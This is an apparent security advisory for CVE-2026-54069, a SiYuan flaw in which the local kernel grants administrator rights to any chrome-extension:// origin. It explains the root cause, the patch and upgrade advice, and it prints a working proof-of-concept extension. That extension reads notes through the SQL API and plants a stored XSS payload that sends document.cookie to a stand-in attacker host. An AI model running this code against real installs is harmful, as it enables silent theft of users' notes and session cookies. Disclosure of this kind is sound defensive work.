CVE-2026-54069: SiYuan Unauthenticated Admin API Access via chrome-extension:// Origin Bypass
Any Chrome or Chromium extension installed on a desktop running SiYuan can call every admin API endpoint without a password, because the kernel blindly trusts all chrome-extension:// origins and hands
The problem
SiYuan's kernel HTTP server (kernel/model/session.go) contained a blanket allowlist for any origin beginning with chrome-extension://. The CheckAuth middleware skipped all token validation for these requests and immediately assigned RoleAdministrator.
On desktop installs the AccessAuthCode field defaults to an empty string, meaning no token check runs at all. Every installed Chrome/Chromium extension, including ones with zero special host_permissions, could make fully authenticated admin API calls to 127.0.0.1:6806.
A supply-chain compromise of any popular extension would silently hit every SiYuan desktop user.
Proof of concept
A working proof-of-concept for CVE-2026-54069 in github.com/siyuan-note/siyuan/kernel, with the exact payload below.
// Minimal Chrome MV3 extension -- no special host_permissions needed.
// manifest.json
{
"manifest_version": 3,
"name": "SiYuan PoC",
"version": "1.0",
"background": { "service_worker": "bg.js" }
}
// bg.js
// Browser automatically sends Origin: chrome-extension://<id>
// session.go matched strings.HasPrefix(origin, "chrome-extension://")
// and set RoleAdministrator -- no auth token required.
// 1. Confirm admin access
fetch('http://127.0.0.1:6806/api/system/getConf', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: '{}'
}).then(r => r.json()).then(d => console.log('admin access:', d.code === 0));
// 2. Exfiltrate all notes via SQL
fetch('http://127.0.0.1:6806/api/query/sql', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ stmt: 'SELECT * FROM blocks LIMIT 100' })
}).then(r => r.json()).then(d => console.log('blocks:', d.data?.length));
// 3. Inject stored XSS into the first note
fetch('http://127.0.0.1:6806/api/filetree/listDocsByPath', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ notebook: '', path: '/' })
}).then(r => r.json()).then(tree => {
const doc = tree.data?.files?.[0];
if (!doc) return;
fetch('http://127.0.0.1:6806/api/block/insertBlock', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
dataType: 'markdown',
data: '<img src=x onerror="fetch(\'https://attacker.example/steal?c=\'+document.cookie)">',
parentID: doc.id
})
});
});The root cause (CWE-346, Origin Validation Error) is a prefix match rather than an exact allowlist. The check `strings.HasPrefix(origin, "chrome-extension://")` trusts the entire scheme, not a specific extension ID, so any extension gets a free RoleAdministrator grant.
The patch removes the chrome-extension:// branch entirely, letting all such requests fall through to the standard isValidOrigin() check and token validation. The advisory suggests replacing the blanket trust with a per-session token exchange if extension access is genuinely needed.
The fix
Upgrade to SiYuan v3.7.0, which removes the chrome-extension:// bypass from kernel/model/session.go. Also set a strong AccessAuthCode (Settings > About) as a defence-in-depth measure against any similar origin-bypass issues.
Related research
- high · 7.5CVE-2026-54066CVE-2026-54066: SiYuan Unauthenticated Path Traversal via Double URL Encoding in /assets/ (Publish Mode)
- critical · 9.9CVE-2026-54067CVE-2026-54067: SiYuan Stored XSS to RCE via CSS Snippet Style Tag Breakout
- high · 7.1CVE-2026-54070CVE-2026-54070: SiYuan Stored XSS via Bazaar README Event Handler Bypass
- critical · 9.9CVE-2026-54158CVE-2026-54158: SiYuan Stored XSS to RCE via Unescaped Attribute-View Cell Rendering